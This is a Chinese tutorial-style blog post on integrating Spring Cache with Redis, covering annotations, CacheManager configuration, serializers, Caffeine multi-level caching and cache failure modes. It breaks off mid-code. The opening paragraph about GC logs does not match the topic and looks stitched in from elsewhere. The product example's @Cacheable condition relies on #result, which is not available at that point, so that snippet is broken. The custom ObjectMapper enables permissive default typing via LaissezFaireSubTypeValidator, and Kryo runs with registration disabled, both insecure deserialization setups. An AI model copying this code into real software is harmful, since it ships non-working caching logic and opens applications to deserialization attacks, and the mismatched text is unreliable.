        <content type="html"><![CDATA[<h1 id="Redis与SpringCache整合"><a href="#Redis与SpringCache整合" class="headerlink" title="Redis与SpringCache整合"></a>Redis与SpringCache整合</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="一、Spring-Cache基础"><a href="#一、Spring-Cache基础" class="headerlink" title="一、Spring Cache基础"></a>一、Spring Cache基础</h2><p>#</p><h2 id="1-1-核心注解"><a href="#1-1-核心注解" class="headerlink" title="1.1 核心注解"></a>1.1 核心注解</h2><table><thead><tr><th>注解</th><th>作用</th></tr></thead><tbody><tr><td>@Cacheable</td><td>先查缓存，没有则执行方法并缓存结果</td></tr><tr><td>@CachePut</td><td>执行方法，并将结果放入缓存</td></tr><tr><td>@CacheEvict</td><td>从缓存中移除数据</td></tr><tr><td>@Caching</td><td>组合多个缓存操作</td></tr><tr><td>@CacheConfig</td><td>在类级别统一配置缓存</td></tr></tbody></table><p>#</p><h2 id="1-2-基本使用"><a href="#1-2-基本使用" class="headerlink" title="1.2 基本使用"></a>1.2 基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 查询缓存，没有则查数据库</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;user&quot;, key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userMapper.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更新数据库并刷新缓存</span></span><br><span class="line">    <span class="meta">@CachePut(value = &quot;user&quot;, key = &quot;#user.id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">updateUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        userMapper.update(user);</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 删除数据并清除缓存</span></span><br><span class="line">    <span class="meta">@CacheEvict(value = &quot;user&quot;, key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deleteUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        userMapper.delete(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 清除所有用户缓存</span></span><br><span class="line">    <span class="meta">@CacheEvict(value = &quot;user&quot;, allEntries = true)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">clearUserCache</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="二、整合Redis-Cache"><a href="#二、整合Redis-Cache" class="headerlink" title="二、整合Redis Cache"></a>二、整合Redis Cache</h2><p>#</p><h2 id="2-1-添加依赖"><a href="#2-1-添加依赖" class="headerlink" title="2.1 添加依赖"></a>2.1 添加依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-data-redis<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-cache<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-启用缓存"><a href="#2-2-启用缓存" class="headerlink" title="2.2 启用缓存"></a>2.2 启用缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="meta">@EnableCaching</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Application</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        SpringApplication.run(Application.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-配置Redis"><a href="#2-3-配置Redis" class="headerlink" title="2.3 配置Redis"></a>2.3 配置Redis</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">password:</span> </span><br><span class="line">    <span class="attr">database:</span> <span class="number">0</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">50</span></span><br><span class="line">        <span class="attr">max-idle:</span> <span class="number">20</span></span><br><span class="line">        <span class="attr">min-idle:</span> <span class="number">5</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-配置CacheManager"><a href="#2-4-配置CacheManager" class="headerlink" title="2.4 配置CacheManager"></a>2.4 配置CacheManager</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedisConnectionFactory connectionFactory;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 序列化方式</span></span><br><span class="line">        RedisSerializer&lt;String&gt; keySerializer = <span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>();</span><br><span class="line">        <span class="type">GenericJackson2JsonRedisSerializer</span> <span class="variable">valueSerializer</span> <span class="operator">=</span> </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 缓存配置</span></span><br><span class="line">        <span class="type">RedisCacheConfiguration</span> <span class="variable">defaultConfig</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">            .entryTtl(Duration.ofMinutes(<span class="number">30</span>))  <span class="comment">// 默认过期时间</span></span><br><span class="line">            .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(keySerializer))</span><br><span class="line">            .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(valueSerializer))</span><br><span class="line">            .disableCachingNullValues();  <span class="comment">// 不缓存null</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 针对不同cacheName的配置</span></span><br><span class="line">        Map&lt;String, RedisCacheConfiguration&gt; configMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        configMap.put(<span class="string">&quot;user&quot;</span>, defaultConfig.entryTtl(Duration.ofHours(<span class="number">1</span>)));</span><br><span class="line">        configMap.put(<span class="string">&quot;product&quot;</span>, defaultConfig.entryTtl(Duration.ofMinutes(<span class="number">10</span>)));</span><br><span class="line">        configMap.put(<span class="string">&quot;session&quot;</span>, defaultConfig.entryTtl(Duration.ofMinutes(<span class="number">30</span>)));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(connectionFactory)</span><br><span class="line">            .cacheDefaults(defaultConfig)</span><br><span class="line">            .withInitialCacheConfigurations(configMap)</span><br><span class="line">            .transactionAware()</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、序列化配置"><a href="#三、序列化配置" class="headerlink" title="三、序列化配置"></a>三、序列化配置</h2><p>#</p><h2 id="3-1-JSON序列化（推荐）"><a href="#3-1-JSON序列化（推荐）" class="headerlink" title="3.1 JSON序列化（推荐）"></a>3.1 JSON序列化（推荐）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> RedisCacheConfiguration <span class="title function_">cacheConfiguration</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">        .serializeValuesWith(</span><br><span class="line">            RedisSerializationContext.SerializationPair.fromSerializer(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>()</span><br><span class="line">            )</span><br><span class="line">        );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-自定义ObjectMapper"><a href="#3-2-自定义ObjectMapper" class="headerlink" title="3.2 自定义ObjectMapper"></a>3.2 自定义ObjectMapper</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> RedisCacheConfiguration <span class="title function_">cacheConfiguration</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">ObjectMapper</span> <span class="variable">objectMapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>();</span><br><span class="line">    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);</span><br><span class="line">    objectMapper.activateDefaultTyping(</span><br><span class="line">        LaissezFaireSubTypeValidator.instance,</span><br><span class="line">        ObjectMapper.DefaultTyping.NON_FINAL</span><br><span class="line">    );</span><br><span class="line">    objectMapper.registerModule(<span class="keyword">new</span> <span class="title class_">JavaTimeModule</span>());</span><br><span class="line">    objectMapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);</span><br><span class="line">    </span><br><span class="line">    <span class="type">GenericJackson2JsonRedisSerializer</span> <span class="variable">serializer</span> <span class="operator">=</span> </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">GenericJackson2JsonRedisSerializer</span>(objectMapper);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">        .serializeValuesWith(</span><br><span class="line">            RedisSerializationContext.SerializationPair.fromSerializer(serializer)</span><br><span class="line">        );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-Kryo序列化（高性能）"><a href="#3-3-Kryo序列化（高性能）" class="headerlink" title="3.3 Kryo序列化（高性能）"></a>3.3 Kryo序列化（高性能）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">KryoRedisSerializer</span>&lt;T&gt; <span class="keyword">implements</span> <span class="title class_">RedisSerializer</span>&lt;T&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Kryo</span> <span class="variable">kryo</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Kryo</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">KryoRedisSerializer</span><span class="params">()</span> &#123;</span><br><span class="line">        kryo.setRegistrationRequired(<span class="literal">false</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] serialize(T t) <span class="keyword">throws</span> SerializationException &#123;</span><br><span class="line">        <span class="keyword">if</span> (t == <span class="literal">null</span>) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="type">Output</span> <span class="variable">output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Output</span>(<span class="number">1024</span>, -<span class="number">1</span>);</span><br><span class="line">        kryo.writeClassAndObject(output, t);</span><br><span class="line">        <span class="keyword">return</span> output.toBytes();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="meta">@SuppressWarnings(&quot;unchecked&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> T <span class="title function_">deserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> SerializationException &#123;</span><br><span class="line">        <span class="keyword">if</span> (bytes == <span class="literal">null</span> || bytes.length == <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Input</span> <span class="variable">input</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Input</span>(bytes);</span><br><span class="line">        <span class="keyword">return</span> (T) kryo.readClassAndObject(input);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、高级使用"><a href="#四、高级使用" class="headerlink" title="四、高级使用"></a>四、高级使用</h2><p>#</p><h2 id="4-1-条件缓存"><a href="#4-1-条件缓存" class="headerlink" title="4.1 条件缓存"></a>4.1 条件缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 只有价格大于100才缓存</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;product&quot;, key = &quot;#id&quot;, condition = &quot;#result != null and #result.price &gt; 100&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> productMapper.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 除非价格为0，否则更新缓存</span></span><br><span class="line">    <span class="meta">@CachePut(value = &quot;product&quot;, key = &quot;#product.id&quot;, unless = &quot;#product.price == 0&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">updateProduct</span><span class="params">(Product product)</span> &#123;</span><br><span class="line">        productMapper.update(product);</span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-SpEL表达式"><a href="#4-2-SpEL表达式" class="headerlink" title="4.2 SpEL表达式"></a>4.2 SpEL表达式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用多个参数作为key</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;order&quot;, key = &quot;#userId + &#x27;:&#x27; + #status&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;Order&gt; <span class="title function_">getOrders</span><span class="params">(Long userId, String status)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> orderMapper.findByUserIdAndStatus(userId, status);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用对象属性</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;order&quot;, key = &quot;#query.userId + &#x27;:&#x27; + #query.status&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;Order&gt; <span class="title function_">searchOrders</span><span class="params">(OrderQuery query)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> orderMapper.search(query);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 使用方法名</span></span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;order&quot;, key = &quot;#root.methodName + &#x27;:&#x27; + #id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Order <span class="title function_">getOrder</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> orderMapper.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-自定义Key生成器"><a href="#4-3-自定义Key生成器" class="headerlink" title="4.3 自定义Key生成器"></a>4.3 自定义Key生成器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomKeyGenerator</span> <span class="keyword">implements</span> <span class="title class_">KeyGenerator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">generate</span><span class="params">(Object target, Method method, Object... params)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        sb.append(target.getClass().getSimpleName()).append(<span class="string">&quot;:&quot;</span>);</span><br><span class="line">        sb.append(method.getName()).append(<span class="string">&quot;:&quot;</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Object param : params) &#123;</span><br><span class="line">            <span class="keyword">if</span> (param != <span class="literal">null</span>) &#123;</span><br><span class="line">                sb.append(param.toString()).append(<span class="string">&quot;:&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> sb.toString();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;user&quot;, keyGenerator = &quot;customKeyGenerator&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userMapper.findById(id);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、多级缓存"><a href="#五、多级缓存" class="headerlink" title="五、多级缓存"></a>五、多级缓存</h2><p>#</p><h2 id="5-1-Caffeine-Redis"><a href="#5-1-Caffeine-Redis" class="headerlink" title="5.1 Caffeine + Redis"></a>5.1 Caffeine + Redis</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiLevelCacheConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> CacheManager <span class="title function_">cacheManager</span><span class="params">(RedisConnectionFactory connectionFactory)</span> &#123;</span><br><span class="line">        <span class="comment">// Redis CacheManager</span></span><br><span class="line">        <span class="type">RedisCacheManager</span> <span class="variable">redisCacheManager</span> <span class="operator">=</span> RedisCacheManager.builder(connectionFactory)</span><br><span class="line">            .cacheDefaults(RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">                .entryTtl(Duration.ofMinutes(<span class="number">10</span>)))</span><br><span class="line">            .build();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Caffeine CacheManager</span></span><br><span class="line">        <span class="type">CaffeineCacheManager</span> <span class="variable">caffeineCacheManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CaffeineCacheManager</span>();</span><br><span class="line">        caffeineCacheManager.setCaffeine(Caffeine.newBuilder()</span><br><span class="line">            .maximumSize(<span class="number">1000</span>)</span><br><span class="line">            .expireAfterWrite(Duration.ofMinutes(<span class="number">1</span>)));</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 组合CacheManager</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">CompositeCacheManager</span>(caffeineCacheManager, redisCacheManager);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-自定义多级缓存"><a href="#5-2-自定义多级缓存" class="headerlink" title="5.2 自定义多级缓存"></a>5.2 自定义多级缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiLevelCacheService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CacheManager cacheManager;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> &lt;T&gt; T <span class="title function_">get</span><span class="params">(String cacheName, Object key, Class&lt;T&gt; type, Supplier&lt;T&gt; loader)</span> &#123;</span><br><span class="line">        <span class="comment">// L1: Caffeine</span></span><br><span class="line">        <span class="type">Cache</span> <span class="variable">caffeineCache</span> <span class="operator">=</span> cacheManager.getCache(<span class="string">&quot;caffeine-&quot;</span> + cacheName);</span><br><span class="line">        Cache.<span class="type">ValueWrapper</span> <span class="variable">l1Value</span> <span class="operator">=</span> caffeineCache.get(key);</span><br><span class="line">        <span class="keyword">if</span> (l1Value != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> (T) l1Value.get();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L2: Redis</span></span><br><span class="line">        <span class="type">Cache</span> <span class="variable">redisCache</span> <span class="operator">=</span> cacheManager.getCache(<span class="string">&quot;redis-&quot;</span> + cacheName);</span><br><span class="line">        Cache.<span class="type">ValueWrapper</span> <span class="variable">l2Value</span> <span class="operator">=</span> redisCache.get(key);</span><br><span class="line">        <span class="keyword">if</span> (l2Value != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">T</span> <span class="variable">value</span> <span class="operator">=</span> (T) l2Value.get();</span><br><span class="line">            <span class="comment">// 回填L1</span></span><br><span class="line">            caffeineCache.put(key, value);</span><br><span class="line">            <span class="keyword">return</span> value;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L3: 数据库</span></span><br><span class="line">        <span class="type">T</span> <span class="variable">value</span> <span class="operator">=</span> loader.get();</span><br><span class="line">        <span class="keyword">if</span> (value != <span class="literal">null</span>) &#123;</span><br><span class="line">            redisCache.put(key, value);</span><br><span class="line">            caffeineCache.put(key, value);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、缓存失效策略"><a href="#六、缓存失效策略" class="headerlink" title="六、缓存失效策略"></a>六、缓存失效策略</h2><p>#</p><h2 id="6-1-基于注解的失效"><a href="#6-1-基于注解的失效" class="headerlink" title="6.1 基于注解的失效"></a>6.1 基于注解的失效</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;user&quot;, key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userMapper.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更新时失效相关缓存</span></span><br><span class="line">    <span class="meta">@Caching(</span></span><br><span class="line"><span class="meta">        put = @CachePut(value = &quot;user&quot;, key = &quot;#user.id&quot;),</span></span><br><span class="line"><span class="meta">        evict = &#123;</span></span><br><span class="line"><span class="meta">            @CacheEvict(value = &quot;user:list&quot;, allEntries = true),</span></span><br><span class="line"><span class="meta">            @CacheEvict(value = &quot;user:stats&quot;, key = &quot;#user.id&quot;)</span></span><br><span class="line"><span class="meta">        &#125;</span></span><br><span class="line"><span class="meta">    )</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">updateUser</span><span class="params">(User user)</span> &#123;</span><br><span class="line">        userMapper.update(user);</span><br><span class="line">        <span class="keyword">return</span> user;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-定时刷新"><a href="#6-2-定时刷新" class="headerlink" title="6.2 定时刷新"></a>6.2 定时刷新</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheRefreshScheduler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserService userService;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CacheManager cacheManager;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 300000)</span>  <span class="comment">// 每5分钟</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refreshHotUsers</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;Long&gt; hotUserIds = Arrays.asList(<span class="number">1L</span>, <span class="number">2L</span>, <span class="number">3L</span>, <span class="number">4L</span>, <span class="number">5L</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (Long id : hotUserIds) &#123;</span><br><span class="line">            <span class="comment">// 强制刷新缓存</span></span><br><span class="line">            <span class="type">Cache</span> <span class="variable">cache</span> <span class="operator">=</span> cacheManager.getCache(<span class="string">&quot;user&quot;</span>);</span><br><span class="line">            <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userService.getUserFromDB(id);</span><br><span class="line">            <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">                cache.put(id, user);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-缓存穿透"><a href="#7-1-缓存穿透" class="headerlink" title="7.1 缓存穿透"></a>7.1 缓存穿透</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用unless避免缓存null</span></span><br><span class="line"><span class="meta">@Cacheable(value = &quot;user&quot;, key = &quot;#id&quot;, unless = &quot;#result == null&quot;)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> userMapper.findById(id);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用自定义CacheManager配置</span></span><br><span class="line"><span class="type">RedisCacheConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">    .disableCachingNullValues();  <span class="comment">// 不缓存null</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-缓存雪崩"><a href="#7-2-缓存雪崩" class="headerlink" title="7.2 缓存雪崩"></a>7.2 缓存雪崩</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用随机过期时间</span></span><br><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> RedisCacheConfiguration <span class="title function_">cacheConfiguration</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">        .entryTtl(Duration.ofMinutes(<span class="number">30</span> + ThreadLocalRandom.current().nextInt(<span class="number">10</span>)));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-缓存击穿"><a href="#7-3-缓存击穿" class="headerlink" title="7.3 缓存击穿"></a>7.3 缓存击穿</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Spring Cache本身不提供互斥锁</span></span><br><span class="line"><span class="comment">// 需要结合分布式锁</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Cacheable(value = &quot;user&quot;, key = &quot;#id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:user:&quot;</span> + id);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            lock.lock(<span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line">            <span class="keyword">return</span> userMapper.findById(id);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();</span><br><span 